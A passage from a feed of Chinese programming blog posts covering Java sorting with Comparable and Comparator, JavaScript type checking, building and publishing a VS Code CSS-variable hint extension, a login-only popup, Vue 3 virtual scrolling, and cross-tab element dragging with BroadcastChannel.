public static void main(String[] args) {
List<Person2> people2 = new ArrayList<>();
people2.add(new Person2("秋香", 15));
people2.add(new Person2("石榴姐", 19));
people2.add(new Person2("唐伯虎", 12));
System.out.println("--" + people2);

//这里报错了,为什么呢?
Collections.sort(people2);

System.out.println("----" + people2);
}
}


Comparator 实现排序

使用Comparable 接口实现排序,是一种比较死板的方式,我们每次都要让自定义类去实现这个接口,那如果我们的自定义类只是偶尔才会去做排序,这种实现方式,不就很麻烦吗!所以工具类还为我们提供了一种灵活的排序方式,当我需要做排序的时候,去选择调用该方法实现

public static <T> void sort(List<T> list, Comparator<? super T> c)

根据指定比较器产生的顺序对指定列表进行排序。我们通过案例来看看该方法的使用

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo3Comparator {
public static void main(String[] args) {

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//第二个参数 采用匿名内部类的方式传参 - 可以复习之前有关内部类的使用
Collections.sort(people, new Comparator<Person>() {
@Override
public int compare(Person o1, Person o2) {
//这里怎么用呢 自定义按年龄排序
// return 0;
// return o1.getAge() - o2.getAge(); //升序
return o2.getAge() - o1.getAge(); //降序

//结论: 前者 -后者 升序 反之,降序
//这种方式 我们优先使用
}
});
System.out.println("排序后----" + people);
}
}

Comparable 和 Comparator

Comparable: 强行对实现它的每个类的对象进行整体排序。这种排序被称为类的自然排序,类的compareTo方法被称为它的自然比较方法。只能在类中实现compareTo()一次,不能经常修改类的代码实现自己想要的排序。实现此接口的对象列表(和数组)可以通过Collections.sort(和Arrays.sort)进行自动排序,对象可以用作有序映射中的键或有序集合中的元素,无需指定比较器。

Comparator: 强行对某个对象进行整体排序。可以将Comparator 传递给sort方法(如Collections.sort或 Arrays.sort),从而允许在排序顺序上实现精确控制。还可以使用Comparator来控制某些数据结构(如有序set或有序映射)的顺序,或者为那些没有自然顺序的对象collection提供排序。

小结

Collections 是 Java 中用于操作集合的工具类,它提供了一系列静态方法来对集合进行排序、查找、遍历等操作。在 Java 中,Map 是一种特殊的集合,用于存储键值对数据。虽然 Collections 类的部分方法可以直接操作 Map 的键或值的集合视图,但并不能直接对整个 Map 进行操作。

Collections 类提供了一些静态方法来对 Map 的键或值集合视图进行操作,比如排序、查找最大值、查找最小值等。例如,Collections.sort 方法可以对 List 类型的集合进行排序,而 List 类型的 map.keySet() 和 map.values() 返回的集合都可以使用这个方法进行排序。同样地,Collections.max 和 Collections.min 也可以用于获取集合中的最大值和最小值。

另外,对于整个 Map 的操作,可以直接使用 Map 接口提供的方法进行操作,比如 put、get、remove 等。如果需要对整个 Map 进行操作,一般直接调用 Map 接口提供的方法会更加方便和直观。

总之,Collections 类主要用于操作集合类(比如 List、Set),而对于 Map 类型的操作,一般直接使用 Map 接口提供的方法即可。

还是老生常谈,熟能生巧!多练!happy ending!!

收起阅读 »

全方位了解 JavaScript 类型判断

web
JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeof、instanceof 和 Object.prototype.toString()。这些方法各有...
继续阅读 »

JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeofinstanceofObject.prototype.toString()。这些方法各有特点,通过详细的解释,让我们更好地理解它们的用法和限制。


JS 类型判断详解:typeof、instanceof 和 Object.prototype.toString()


1. typeof


1.1 准确判断原始类型


typeof 是一种用于检测变量类型的操作符。它可以准确地判断除 null 之外的所有原始类型,包括 undefinedbooleannumberstringsymbol。(js中还有一种类型叫“大整型”)


console.log(typeof undefined); // 输出: "undefined"
console.log(typeof true); // 输出: "boolean"
console.log(typeof 42); // 输出: "number"
console.log(typeof "hello"); // 输出: "string"
console.log(typeof Symbol()); // 输出: "symbol"

1.2 判断函数


typeof 还可以用于判断函数类型。


function exampleFunction() {}
console.log(typeof exampleFunction); // 输出: "function"

解释说明: 注意,typeof 能够区分函数和其他对象类型,这在某些场景下是非常有用的。


2. instanceof


2.1 只能判断引用类型


instanceof 运算符用于判断一个对象是否是某个构造函数的实例。它只能判断引用类型。


const arr = [1, 2, 3];
console.log(arr instanceof Array); // 输出: true

2.2 通过原型链查找


instanceof 的判断是通过原型链的查找实现的。(原型链详解移步 => juejin.cn/post/730493… )如果对象的原型链中包含指定构造函数的原型,那么就返回 true


function Animal() {}
function Dog() {}

Dog.prototype = new Animal();

const myDog = new Dog();
console.log(myDog instanceof Dog); // 输出: true
console.log(myDog instanceof Animal); // 输出: true

解释说明: instanceof 通过检查对象的原型链是否包含指定构造函数的原型来判断实例关系。


3. Object.prototype.toString()


3.1 调用步骤


Object.prototype.toString() 方法用于返回对象的字符串表示。当调用该方法时,将执行以下步骤:



  1. 如果 this 值为 undefined,则返回字符串 "[object Undefined]"。

  2. 如果 this 值为 null,则返回字符串 "[object Null]"。

  3. this 转换成对象(如果是原始类型,会调用 ToObject 将其转换成对象)。

  4. 获取对象的 [[Class]] 内部属性的值。

  5. 返回连接的字符串 "[Object"、[[Class]]、"]"。


console.log(Object.prototype.toString.call(undefined)); // 输出: "[object Undefined]"
console.log(Object.prototype.toString.call(null)); // 输出: "[object Null]"

console.log(Object.prototype.toString.call(42)); // 输出: "[object Number]"
console.log(Object.prototype.toString.call("hello")); // 输出: "[object String]"

console.log(Object.prototype.toString.call([])); // 输出: "[object Array]"
console.log(Object.prototype.toString.call({})); // 输出: "[object Object]"

function CustomType() {}
console.log(Object.prototype.toString.call(new CustomType())); // 输出: "[object Object]"

解释说明: Object.prototype.toString() 是一种通用且强大的类型检测方法,可以适用于所有值,包括原始类型和引用类型。


结语


了解 typeofinstanceofObject.prototype.toString() 的使用场景和限制有助于我们更加灵活地进行类型检测,提高代码的可读性和健壮性。选择合适的方法取决于具体的情境和需求,合理使用这些方法将使你的 JavaScript 代码更加优雅和可维护。


作者:skyfker
来源:juejin.cn/post/7305348040209629220
收起阅读 »

实现一个自己的vscode插件到发布

web
前言 本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学 文章最后又github地址 说在前面的话: 在看内容之前,确保你想了解如何开发一款 vscode 插件 内容以大白文教学形式输出,如果写的不清...
继续阅读 »

前言



本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学


文章最后又github地址



说在前面的话:



  1. 在看内容之前,确保你想了解如何开发一款 vscode 插件

  2. 内容以大白文教学形式输出,如果写的不清晰的地方,欢迎留言告诉我,这会帮助我理解到各位的痛点

  3. 看一万遍不如自己写一遍

  4. 学会这个思路,可以尝试去给开源的 UI 组件写提示插件,做出一些开源贡献

  5. 以上看完之后,请带着思考去看下面内容


一、为什么要做这个 vscode 插件🤔


为我们公司自己而用


在之前,我问到我们 UI设计师 老师,


我: 能给我一些我们的颜色的设计资源吗?


UI: 可以呀


然后就给了我一些主题色,辅色,然后线条色等等。


OK,当我拿到之后,对于颜色我们前端创建了一个 vars.scss 的文件夹,用于定义一些变量,大致是这样:


:root {
--tsl-doc-white: #fff;
// 文字色
--tsl-doc-gray-1: #e2e5e8;
--tsl-doc-gray-2: #d2d5d8;
--tsl-doc-gray-3: #b6babf;
--tsl-doc-gray-4: #afb2b7;
--tsl-doc-gray-5: #999b9f;
--tsl-doc-gray-6: #66686c;
--tsl-doc-gray-7: #3c3d3f;
}


使用 color: var(--tsl-doc-white) ,就达到目的,其实就是 css 变量,没什么的,当我们做完一系列之后,发现有个痛点~~


妈的(骂骂咧咧),这个颜色我起的名字是什么,笑死🤣,根本记不住,然后就导致了开发人员是一种什么情况,一边看变量文件一边写,我寻思,还不如直接写颜色来的快这样。


所以啊,所以,我在思考之后,我就想起,我一直在下一些提示插件,那么别人是如何实现的?


突然,我是不是也可以做一个,这样我们就可以避免这种问题了。于是就开始了我的插件开发之路。


二、如何实现一个 vscode 插件🖥️


2.1 一些或许有点用的文档资源


【vscode 官方文档】:Your First Extension | Visual Studio Code Extension API


【VS Code插件创作中文开发文档】: 你的第一个插件 - VS Code插件创作中文开发文档


2.2 需要提前准备的环境


Node环境: 大于16,主要使用 npm


安装一些脚手架(给我装就完了):


npm install -g yo generator-code

执行命令 yo code ,过一会儿就会看到下面这段话


# ? What type of extension do you want to create? New Extension (TypeScript)
# ? What's the name of your extension? HelloWorld
### Press to choose default for all options below ###

# ? What'
s the identifier of your extension? helloworld
# ? What's the description of your extension? LEAVE BLANK
# ? Enable stricter TypeScript checking in '
tsconfig.json'? Yes
# ? Setup linting using '
tslint'? Yes
# ? Initialize a git repository? Yes
# ? Which package manager to use? npm

code ./helloworld

细节的一些可以看官方,有视频,😏,当你已经能成功输出 Hello World 然后,在回来看我这里


2.3 分析需求


明确知道自己要做什么:



  1. 输入我们指定的 tsl、--tsl 这些是不是要出现提示呀,告知我们可以选择哪些

  2. 鼠标放到 --tsl-doc-white 显式出对应的变量,不要觉得自己能记住了


就两个效果,明白之后我们就开始进行配置和 Coding


2.4 实现 variable-prompt


配置


主要还是 package.json 进行配置,先看我的这份:


{
"name": "variable-prompt",
"displayName": "variable-prompt",
"icon": "src/assets/tsl-logo.png", # 插件的图标就是这里来的
"description": "css variable prompt",# 描述插件的用途
"version": "1.0.0",
"publisher": "sakanaovo",
"engines": {
"vscode": "^1.56.0" # 这里要和 types/vscode 同步一下
},
"categories": [
"Other"
],
"main": "./extension.js",
"contributes": {},
# activationEvents 激活事件,这里配置了以下这些文件激活
"activationEvents": [
"onLanguage:vue",
"onLanguage:javascript",
"onLanguage:typescript",
"onLanguage:javascriptreact",
"onLanguage:typescriptreact",
"onLanguage:scss",
"onLanguage:css",
"onLanguage:less"
],
"scripts": {
"lint": "eslint .",
"pretest": "npm run lint",
"build": "vsce package", # 打包命令
"test": "node ./test/runTest.js"
},
"devDependencies": {
"@types/vscode": "^1.56.0",
"@types/glob": "^8.1.0",
"@types/mocha": "^10.0.1",
"@types/node": "20.2.5",
"eslint": "^8.41.0",
"vsce": "^2.13.0", # 打包 后面会介绍
"glob": "^8.1.0",
"mocha": "^10.2.0",
"typescript": "^5.1.3",
"@vscode/test-electron": "^2.3.2"
}
}

这里看完了教帮助大家记忆训练


window高玩 :Ctrl + CCtrl + V


mac高玩:Cmd + CCmd + V


编码




  1. 创建 src/helper.jssrc/variableMap.js


    image-20230804133618857.png




  2. 清空根目录 extension.js 代码


    function activate(context) {
    console.log("启动成功");

    }

    // This method is called when your extension is deactivated
    function deactivate() {}

    module.exports = {
    activate,
    deactivate,
    };


    按下 F5 ,就可以启动容器,好的,那我们是不是想看这个 console 日志在哪儿,有两种



    • 第一种,在你开发插件vscode中查看调试控制台,一般在vscode左侧,找不到或者就 Ctrl+Shift+Y 就可以看是否打印

    • 第二种,在你启动的容器中,按 Ctrl+Shift+I ,也可以打开一个控制台,并查看你的日志信息,这是因为 vscode 是用 Electron 开发的,Electron 也是这样查看调试




  3. 实现 Hover 效果


    src/helper.js 中我们简单实现鼠标放上去就显式悬停效果


    const vscode = require("vscode");

    function provideHover(document, position, token) {
    // 获取鼠标位置的单词
    const word = document.getText(document.getWordRangeAtPosition(position));

    // 创建悬停内容
    const hoverText = `这是一个悬停示例,你鼠标放上去的单词是:${word}`;
    const hover = new vscode.Hover(hoverText);

    return hover;
    }

    module.exports = {
    provideHover
    };

    src/extension.js 中我们注入一下


    const vscode = require("vscode");
    const { provideHover } = require("./src/helper.js");
    // 添加一些文件类型
    const files = [
    "javascript",
    "typescript",
    "javascriptreact",
    "typescriptreact",
    "vue",
    "scss",
    "less",
    "css",
    "sass",
    ];

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    }

    然后 F5 ,如果你已经启动过会有这个小标记,如下图:


    image-20230804135238225.png


    那我们点击一下框住的这个刷新按钮,然后在容器中调试一下,随便写下一段代码,下图是一个展示效果:


    image-20230804135427582.png


    OK,到这里,我们就实现了悬停了效果




  4. variableMap.js 完善一下映射规则


    大致如下:


    // 这个文件是 变量映射表 --tsl-color:#fa8c16
    const variableMap = {
    // 用于存放变量的映射关系
    "--tsl-primary-color": "#33c88e",
    "--tsl-doc-white": "#ffffff",
    "--tsl-doc-gray-1": "#e2e5e8",
    "--tsl-doc-gray-2": "#d2d5d8",
    "--tsl-doc-gray-3": "#b6babf",
    "--tsl-doc-gray-4": "#afb2b7",
    "--tsl-doc-gray-5": "#999b9f",
    "--tsl-doc-gray-6": "#66686c",
    "--tsl-doc-gray-7": "#3c3d3f",
    "--tsl-bg-gray-1": "#f2f4f4",
    "--tsl-warn-color": "#ff6813",
    "--tsl-accent-color": "#f9ba41",
    "--tsl-disabled-color-1": "#edfff8",
    "--tsl-disabled-color-2": "#b4e7d2",
    "--tsl-disabled-color-3": "#9eedcc",
    };

    module.exports = variableMap;


    非常简单,就是把我们的定义的一些,在这里写好就行




  5. 根据 variableMap.js 实现触发提示


    src/helper.js 中我们实现 provideCompletionItems


    const VARIABLE_RE = /--tsl(?:[\w-]+)?/;

    function provideCompletionItems(document, position) {
    const lineText = document.lineAt(position.line).text;

    const match = lineText.match(VARIABLE_RE);
    if (
    lineText.includes("tsl") ||
    match ||
    lineText.includes("--tsl") ||
    lineText.includes("t")
    ) {
    // 拿到 variableMap 中的所有变量
    const variables = Object.keys(variableMap);
    const completionItems = variables.map((variable) => {
    const item = new vscode.CompletionItem(variable);
    const color = variableMap[variable];
    item.detail = color;
    // 给detail 添加注释
    const formattedDetail = `这是一个颜色变量,值为 ${color}`;
    // 创建一个 MarkdownString
    const markdownString = new vscode.MarkdownString();
    // 添加普通文本和代码块
    markdownString.appendText(formattedDetail);
    // 将注释转换为 markdown 格式
    item.documentation = markdownString;
    item.kind = vscode.CompletionItemKind.Variable;
    return item;
    });
    return completionItems;
    }
    return [];
    }

    module.exports = {
    provideHover,
    provideCompletionItems,
    };


    src/extension.js 中我们注入一下


    const { provideHover, provideCompletionItems } = require("./src/helper.js");

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    // 注入的提示
    context.subscriptions.push(
    vscode.languages.registerCompletionItemProvider(files, {
    provideCompletionItems,
    })
    );
    }

    刷新,和上面操作一样,然后我们输入 tsl 就会出现这样的一个效果,如下图:


    image-20230804140502999.png


    为了让能有点颜色看看我们需要小小的改造一下下,在 provideCompletionItems 中,把 kind 设置为 Color ,修改成这样:


    item.kind = vscode.CompletionItemKind.Color ,然后我们刷新启动看看效果:


    image-20230804141025071.png


    这样我们就实现了带颜色提示




  6. 改造我们的 Hover 效果


    src/helper.js 中我们把 provideHover 改成这样:


    function provideHover(document, position) {
    const lineText = document.lineAt(position.line).text;
    const regex = /--[\w-]+/g;
    const match = lineText.match(regex);
    const word = match[0];
    if (match.length > 0 && word.includes("--tsl")) {
    const completeVariable = match.find((variable) => variable.includes(word));
    const hoverText = variableMap[completeVariable];
    if (hoverText) {
    return new vscode.Hover(hoverText);
    }
    }
    }

    最终效果就是我们鼠标放在对应的变量上会告诉我们对应的16进制值是什么,效果如下:


    image-20230804143637675.png




好了,到这里,我们就已经完全实现了,我们可以运行 npm run build 然后选择 y 就可以生成一个 variable-prompt-1.0.0.vsix 文件


三、如何发布🎉


我只教你手动上传,因为我也是手动上传,自动挡还没学会。


访问这个: Manage Extensions | Visual Studio Marketplace 去掉地址最后的 sakanaovo 然后输入你自己的 publisher


选择这个 vscode 插件


image-20230804150207072.png


然后 variable-prompt-1.0.0.vsix 文件拖进去完毕


当然,如果你不想发布你可以选择在拓展中通过下图这种方式安装:


image-20230804151354242.png


四、结语💯


好久没有写文章了,上次写文章还是在上次。本章,我们通过简短的代码,实现了css变量提示vscode插件,希望能帮助到各位。


看完打开电脑,打开vscode,点开笔者文章链接,写下你的第一个Hello World 插件吧!先写5分钟


作者:sakana
来源:juejin.cn/post/7263305276397355063
收起阅读 »

实现仅从登录页进入首页才展示弹窗

web
需求:仅存在以下两种情况展示弹窗 登录页进入首页 用户保存了登录状态后通过地址栏或书签直接进入首页 本文用两种方案实现: 使用Document.referrer获取上个页面的 URI 使用sessionStorage存储弹窗展示数据 每个方案我都会讲...
继续阅读 »

需求:仅存在以下两种情况展示弹窗



  • 登录页进入首页

  • 用户保存了登录状态后通过地址栏或书签直接进入首页


本文用两种方案实现:



  • 使用Document.referrer获取上个页面的 URI

  • 使用sessionStorage存储弹窗展示数据



每个方案我都会讲讲解决思路和存在问题,记录一下自己的idea。


方案一:使用Document.referrer获取上个页面的 URI


解决思路


这是我想到的第一个解决方案。



  1. 在进入首页界面时,调用Document.referrer获取跳转到首页的起点页面 URI

  2. 将获取的 URI 与登录页的 URL 作比较

  3. 如一致,则展示弹窗;反之则不展示


实现伪代码如下:


const previousUrl = document.referrer;  // 获取上个页面的 URI
const loginUrl = '登录页 URL';
// 比较登录页 URL 与 previousUrl 是否相等 或 获得的 URI 是否为空,不相等则不展示。
const showDialog = loginUrl === previousUrl || previousUrl === '';

为什么还有一个previousUrl === ''判断呢?它判断的其实是第二种情况(直接进入首页),如果用户是通过地址栏或书签直接进入首页的话,Document.referrer返回的是空字符串


1699583988078.png


存在问题


讲到这,这个方案是不是已经解决我们在文章开头提出的需求了呢?从代码、逻辑以及实践是可以的,但是,我提出以下几个场景,大家判断一下弹窗是否会出现。


场景1 用户从登录页进入首页后(此时弹窗已成功展示并关闭),刷新首页,此时弹窗会再次出现吗?


场景2 登录页和首页的域名不一样,用户从登录页进入首页后会出现弹窗吗?


答案揭晓,前者会出现弹窗,后者则不会出现弹窗。


场景1解析


用户从登录页进入首页,在此前提下我们在首页调用Document.referrer得到登录页的 URI ;随后用户做刷新操作,再次在调用Document.referrer,获得新的 URI 和之前登录页 URI 是一致的,所以弹窗还会再次出现。


为了大家方便理解,我以GitHub为例:


我从 GitHub 登录页进入其主页,然后在控制台获取上个页面的 URI 。此时,我在主页点击刷新,再次在控制台调用Document.referrer,获得的 URI 与第一次获取的相同。


b669e-86sdi.gif


场景2解析


场景2是Document.referrer返回的 URI 与登录页 URL 不同导致的。其实不仅仅是域名不同会导致这个问题,文件路径或者文件名不同都有可能导致返回的 URI 与登录页 URL 不同。


小伙伴们有没有发现,我多次提及Document.referrer返回的字符串是 URI 。URI(统一资源标识符)与 URL(统一资源定位符)是有区别的,尤其,URI 并不是固定的,是相对的。(想了解更多“关于 URI 与 URL 区别”的小伙伴点击这里


先解释为什么登录页域名和首页域名不同,获得的 URI 就会和登录页不一样呢?举个例子,


这是我登录页的 URL:


1699595868152.png


我登录进入首页后,在控制台输出Document.referrer


1699596493250.png


发现没有,朋友们,获得的 URI 与登录页本身的 URL 不同,所以弹窗不展现。为什么会不同呢?再次贴出我另外一篇文章,点击了解更多哦




方案二:使用sessionStorage存储弹窗展示数据


众所周知,当用户打开一个窗口,会有一个sessionStorage对象;当窗口关闭时,会清除对应的sessionStorage。这一特性刚好符合我们的需求。


解决思路



  • 用户每次进入首页都会从sessionStorage获取 key 为弹窗ID的值

  • 判断值是否存在:

    • 如果值存在的话说明该弹窗已经展现过,不必再展示,直接跳出

    • 如果值为undefined则说明该弹窗在此窗口中没有展现过,则把 key 为弹窗ID的数据保存到sessionStorage,然后展示弹窗




伪代码如下:


const sessionItemKey = '弹窗ID';
if (sessionStorage.getItem(sessionItemKey)) return;
sessionStorage.setItem(sessionItemKey, 'Y');
this.dialogVisible = true;



存在问题


方案二似乎解决了方案一存在的刷新问题,也不会有获取 URI 与登录页 URL 不同的潜在问题,是个完美的解决方案!


不过,小伙伴们要注意一个场景:用户在一个窗口内多次登入和登出首页,弹窗会不会展示呢? 答案是不会展示。因为登入和登出操作都是在同一个会话当中发生的,多次登录进入首页,sessionStorage的数据都不会清除。


我们理一遍逻辑:



  • 用户打开新的登录页面窗口,登录成功进入首页

  • 首页跑了一次以上伪代码中值不存在的情况,在sessionStorage中保存了数据

  • 用户退出登录,再次进入登录页面(在同个会话中)

  • 用户登录成功后进入首页,首页跑了一次以上伪代码中值存在的情况


所以!sessionStorage的特性也会导致问题。不同的方案适用于不同的场景,就看大家怎么选择啦!


结束语


本次分享又到尾声啦!欢迎有疑惑或不同见解的小伙伴们在评论区留言哦~


作者:Swance
来源:juejin.cn/post/7299598252629901350
收起阅读 »

别再抱怨后端一次性传给你 1w 条数据了,几行代码教会你虚拟滚动!

web
如果后端一次性传给你 1 万条数据,该怎么办,当然是让他圆润的走开,哈哈,开个玩笑。虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将基于 vue3 实现一个简单的虚拟滚动。 我们都知道,如果一次性展示所有的数据,那么会造成页面卡顿,虚拟滚...
继续阅读 »

如果后端一次性传给你 1 万条数据,该怎么办,当然是让他圆润的走开,哈哈,开个玩笑。虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将基于 vue3 实现一个简单的虚拟滚动。



我们都知道,如果一次性展示所有的数据,那么会造成页面卡顿,虚拟滚动的原理就是将数据根据滚动条的位置进行动态截取,只渲染可视区域的数据,这样浏览器的性能就会大大提升,废话不多说,我们开始。


具体实现


首先,我们先模拟 500 条数据


const data = new Array(500).fill(0).map((_, i) => i); // 模拟真实数据

然后准备以下几个容器:


<template>
<div class="view-container">
<div class="content-container"></div>
<div class="item-container">
<div class="item"></div>
</div>
</div>
</template>


  • view-container是展示数据的可视区域,即可滚动的区域

  • content-container是用来撑起滚动条的区域,它的高度是实际的数据长度乘以每条数据的高度,它的作用只是用来撑起滚动条

  • item-container是实际渲染数据的区域

  • item则是具体渲染的数据


我们给这几个容器一点样式:


.view-container {
height: 400px;
width: 200px;
border: 1px solid red;
overflow-y: scroll;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}

.content-container {
height: 1000px;
}

.item-container {
position: absolute;
top: 0;
left: 0;
}

.item {
height: 20px;
}

view-container固定定位并居中,overflow-y设置为scroll


content-container先给它一个1000px的高度;


item-container绝对定位,topleft都设为 0;


每条数据item给他一个20px的高度;


先把 500 条数据都渲染上去看看效果:


初始渲染


这里我们把高度都写死了,元素的高度是实现虚拟滚动需要用到的变量,因此肯定不能写死,我们可以用动态绑定style来给元素加上高度:


首先定义可视高度和每一条数据的高度:


const viewHeight = ref(400); // 可视容器高度
const itemHeight = ref(20); // 每一项的高度

用动态绑定样式的方式给元素加上高度:


<div class="view-container" :style="{ height: viewHeight + 'px' }">
<div
class="content-container"
:style="{
height: itemHeight * data.length + 'px',
}"

>
</div>
<div class="item-container">
<div
class="item"
:style="{
height: itemHeight + 'px',
}"

>
</div>
</div>
</div>

content-container 使用每条数据的高度乘以数据总长度来得到实际高度。


然后我们定义一个数组来动态存放需要展示的数据,初始展示前 20 条:


const showData = ref<number[]>([]); // 显示的数据
showData.value = data.slice(0, 20); // 初始展示的数据 (前20个)

showData里的数据才是我们要在item遍历渲染的数据:


<div
class="item"
:style="{
height: itemHeight + 'px',
}"

v-for="(item, index) in showData"
:key="index"
>

{{ item }}
</div>

接下来我们就可以给view-container添加滚动事件来动态改变要展示的数据,具体思路就是:



  1. 根据滚动的高度除以每一条数据的高度得到起始索引

  2. 起始索引加上容器可以展示的条数得到结束索引

  3. 根据起始结束索引截取数据


具体代码如下:


const scrollTop = ref(0); // 初始滚动距离
// 滚动事件
const handleScroll = (e: Event) => {
// 获取滚动距离
scrollTop.value = (e.target as HTMLElement).scrollTop;
// 初始索引 = 滚动距离 / 每一项的高度
const startIndex = Math.round(scrollTop.value / itemHeight.value);
// 结束索引 = 初始索引 + 容器高度 / 每一项的高度
const endIndex = startIndex + viewHeight.value / itemHeight.value;
// 根据初始索引和结束索引,截取数据
showData.value = data.slice(startIndex, endIndex);

console.log(showData.value);
};

打印一下数据看看数据有没有改变:


滚动数据改变


可以看到数据是动态改变了,但是页面上却没有按照截取的数据来展示,这是因为什么呢? 查看一下元素:


问题


可以看到存放数据的元素 也就是 item-container 也跟着向上滚动了,所以我们不要让它滚动,可以通过调整它的 translateY 的值来实现,使其永远向下偏移滚动条的高度


<div
class="item-container"
:style="{
transform: 'translateY(' + scrollTop + 'px)',
}"

>

<div
class="item"
:style="{
height: itemHeight + 'px',
}"

v-for="(item, index) in showData"
:key="index"
>

{{ item }}
</div>
</div>

看效果:


效果


文章到此就结束了。这只是一个简单的实现,还有很多可以优化的地方,例如滚动太快出现白屏的现象等,大家可以尝试一下,并试着优化一下。


希望本文能够对你有帮助。


作者:路遥知码li
来源:juejin.cn/post/7301911743487590452
收起阅读 »

浏览器跨标签星球火了,简单探究一下实现原理

web
一、前言 最近 推特上 一位懂设计和写代码的大神一个两个浏览器之间 星球粒子交互的动画火了, 让人看了大呼脑洞大开, 浏览器竟然还能这么玩!!! 准备自己也搞搞玩一下 二、实现 原作者的粒子动画非常炫酷, 但是不是我们本文重点, 我们通过一个元素在不同窗口的...
继续阅读 »

output3.gif


一、前言


最近 推特上 一位懂设计和写代码的大神一个两个浏览器之间 星球粒子交互的动画火了, 让人看了大呼脑洞大开, 浏览器竟然还能这么玩!!!


准备自己也搞搞玩一下


output3.gif


二、实现


原作者的粒子动画非常炫酷, 但是不是我们本文重点, 我们通过一个元素在不同窗口的拖拽实现一个可以变幻的例子来学习一下原理, 后续在实现一个稍微复杂的多窗口的小游戏。关于粒子动画的内容,有兴趣的小伙伴可以自己实现


其实实现类似的功能需要的难点并不多,不在乎以下几个步骤



  • 1、 屏幕坐标和窗口坐标转换

  • 2、 跨标签通讯


1、 先来看第一个点, 获取屏幕坐标与窗口坐标


// 屏幕坐标转换为窗口坐标
const screenToClient = (screenX, screenY) => {
const clienX = screenX - window.screenX;
const clienY = screenY - window.screenY - barHeight();
return [clienX, clienY];
};

// 窗口坐标转换为屏幕坐标
const clientToScreen = (clienX, clienY) => {
const screenX = clienX + window.screenX;
const screenY = clienY + window.screenY + barHeight();
return [screenX, screenY];
};

我们先简单实现一个卡片, 通过url上面传递颜色值, 设置定位


在卡片本上设置上点击拖动等事件


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>跨标签通讯</title>
</head>
<style>
.card {
width: 300px;
height: 300px;
background-color: #f00;
position: fixed;
top: 100px;
left: 100px;
}
</style>
<body>
跨标签通讯
<div class="card">card</div>
</body>
<script>
const barHeight = () => window.outerHeight - window.innerHeight;
const cardDom = document.querySelector(".card");
cardDom.style.top = 100 + "px";
cardDom.style.left = 100 + "px";
cardDom.style.background =
new URLSearchParams(window.location.search).get("color") || "red";

window.onload = function () {
cardDom.onmousedown = function (e) {
cardDom.style.cursor = "pointer";
let x = e.pageX - cardDom.offsetLeft;
let y = e.pageY - cardDom.offsetTop;
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
// 发送消息
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);
};
window.onmouseup = function () {
window.onmousemove = null;
window.onmouseup = null;
cardDom.style.cursor = "unset";
};
};
};
</script>
</html>


2、 跨标签传输


单个元素的拖动就实现了, 很简单, 如何让其他标签的元素也能同步进行, 需要实现跨标签方案了, 可以参考该文章- 跨标签页通信的8种方式


我们就选择第一种,使用 BroadCast Channel, 使用也很简单


// 创建 Broadcast Channel
const channel = new BroadcastChannel("myChannel");
// 监听消息
channel.onmessage = (event) => {
// 处理接收到的消息
console.log('接收',event)
};
// 发送消息
const sendMessage = (message) => {
channel.postMessage(message);
};

只需要在移动时发送消息, 再其他标签页就可以接收到值了, 现在关键的就是收到发送的坐标点后, 如何处理, 其实关键就是要让几个窗口的卡片位置转化到同一个纬度, 让其再超出浏览器的时候,再另一个窗口的同一个位置出现, 所以就需要将窗口坐标转化成屏幕坐标,发送给其他窗口后, 再转化成窗口坐标进行渲染即可


// 鼠标移动发送消息的时候,窗口坐标转化成屏幕坐标
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);

// 接收消息的时候,屏幕坐标转化成窗口坐标
channel.onmessage = (event) => {
// 处理接收到的消息
const [clienX, clienY] = screenToClient(...event.data);
// 不同窗口的卡片要在同一个位置, 要放到同一个坐标系下面,保持屏幕坐标一致
cardDom.style.left = clienX + "px";
cardDom.style.top = clienY + "px";
};

完整代码,在最下面


三、总结


本文通过移动一个简单的图形, 在不同浏览器之间穿梭变换, 初步体验了多个浏览器之间如何进行交互, 通过拖拽元素,通过跨标签的通讯, 将当前窗口元素的位置进行发送, 另一个窗口进行实时接收, 然后通过屏幕坐标和窗口坐标进行转换, 就能实现,从一个浏览器拖动到另一个浏览器时, 变化元素颜色的功能了, 当然变化背景色只是举例子, 你也可以变化扑克牌, 变化照片, 这样看起来像变魔术一样,非常神奇,看似浏览器不同标签之间没有联系,当以这种方式产生联系后, 就会产生很多不可思议的神奇事情。 就像国外大神的多标签页的两个星球粒子, 产生吸引 融合的效果。原理其实是一样的。


后续前瞻


